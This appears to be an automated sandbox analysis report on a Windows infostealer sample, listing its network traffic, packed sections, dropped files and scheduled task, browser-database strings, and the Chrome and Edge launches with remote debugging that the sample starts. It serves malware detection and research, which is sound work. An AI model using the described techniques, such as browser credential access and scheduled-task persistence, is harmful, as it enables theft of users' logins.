Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50425
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50426
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50428
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50422
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50436
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50435
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50438
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50437
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50439
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50430
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50432
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50433
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50446
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50449
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50448
Source: unknown	Network traffic detected: HTTP traffic on port 50421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50441
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50445
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50444
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50373
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50375
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50374
Source: unknown	Network traffic detected: HTTP traffic on port 50376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50377
Source: unknown	Network traffic detected: HTTP traffic on port 50447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50379
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50378
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50381
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50383
Source: unknown	Network traffic detected: HTTP traffic on port 50391 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50385
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50387
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50389
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443

Source: unknown	HTTPS traffic detected: 20.190.147.7:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.16.158.81:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.6:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.103.156.88:443 -> 192.168.2.6:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49943 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name:
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name:
Source: skotes.exe.29.dr	Static PE information: section name: .idata
Source: skotes.exe.29.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9DB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9DB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9DB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C97F280

Source: C:\Users\user\DocumentsIEBFHCAKFB.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9735A0	0_2_6C9735A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986C80	0_2_6C986C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D34A0	0_2_6C9D34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DC4A0	0_2_6C9DC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D4D0	0_2_6C99D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9864C0	0_2_6C9864C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B6CF0	0_2_6C9B6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4E0	0_2_6C97D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5C10	0_2_6C9B5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2C10	0_2_6C9C2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EAC00	0_2_6C9EAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E542B	0_2_6C9E542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E545C	0_2_6C9E545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C985440	0_2_6C985440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B0DD0	0_2_6C9B0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D85F0	0_2_6C9D85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A0512	0_2_6C9A0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99ED10	0_2_6C99ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98FD00	0_2_6C98FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995E90	0_2_6C995E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9DE680	0_2_6C9DE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D4EA0	0_2_6C9D4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97BEF0	0_2_6C97BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98FEF0	0_2_6C98FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E76E3	0_2_6C9E76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B7E10	0_2_6C9B7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C5600	0_2_6C9C5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D9E30	0_2_6C9D9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999E50	0_2_6C999E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B3E50	0_2_6C9B3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2E4E	0_2_6C9C2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C994640	0_2_6C994640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C670	0_2_6C97C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E6E63	0_2_6C9E6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C77A0	0_2_6C9C77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A6FF0	0_2_6C9A6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97DFE0	0_2_6C97DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B7710	0_2_6C9B7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C989F00	0_2_6C989F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A60A0	0_2_6C9A60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E50C7	0_2_6C9E50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99C0E0	0_2_6C99C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B58E0	0_2_6C9B58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C987810	0_2_6C987810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB820	0_2_6C9BB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C4820	0_2_6C9C4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998850	0_2_6C998850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D850	0_2_6C99D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BF070	0_2_6C9BF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B5190	0_2_6C9B5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9D2990	0_2_6C9D2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AD9B0	0_2_6C9AD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C9A0	0_2_6C97C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99A940	0_2_6C99A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB970	0_2_6C9CB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EB170	0_2_6C9EB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D960	0_2_6C98D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9EBA90	0_2_6C9EBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98CAB0	0_2_6C98CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E2AB0	0_2_6C9E2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9722A0	0_2_6C9722A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4AA0	0_2_6C9A4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B8AC0	0_2_6C9B8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C991AF0	0_2_6C991AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE2F0	0_2_6C9BE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9A60	0_2_6C9B9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97F380	0_2_6C97F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9E53C8	0_2_6C9E53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BD320	0_2_6C9BD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975340	0_2_6C975340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98C370	0_2_6C98C370

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9B94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9ACBE8 appears 134 times

Source: file.exe, 00000000.00000002.2716044826.000000006CBF5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2707310858.0000000023AD2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs file.exe
Source: file.exe, 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: edrmxlxv ZLIB complexity 0.99466676326391
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983236120572208
Source: DocumentsIEBFHCAKFB.exe.0.dr	Static PE information: Section: cwfrbimo ZLIB complexity 0.9943388562422167
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983236120572208
Source: random[1].exe.0.dr	Static PE information: Section: cwfrbimo ZLIB complexity 0.9943388562422167
Source: skotes.exe.29.dr	Static PE information: Section: ZLIB complexity 0.9983236120572208
Source: skotes.exe.29.dr	Static PE information: Section: cwfrbimo ZLIB complexity 0.9943388562422167

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@75/278@24/19

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9D7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9D7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\K95TKM5D.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4828:120:WilError_03
Source: C:\Users\user\DocumentsIEBFHCAKFB.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\78e4a7fa-a3ad-44c4-8508-9d0db876bfc9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2712812920.000000006CBAF000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2370885400.000000001D9A9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2456097641.000000001D99D000.00000004.00000020.00020000.00000000.sdmp, DGDBKFBAKFBFHIECFBFI.0.dr, EBAKKFHJDBKKEBFHDAAE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2711595431.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2704866803.000000001DAAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name, value FROM autofill;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsIEBFHCAKFB.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2168,i,15450045308724304407,3334776206142890789,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
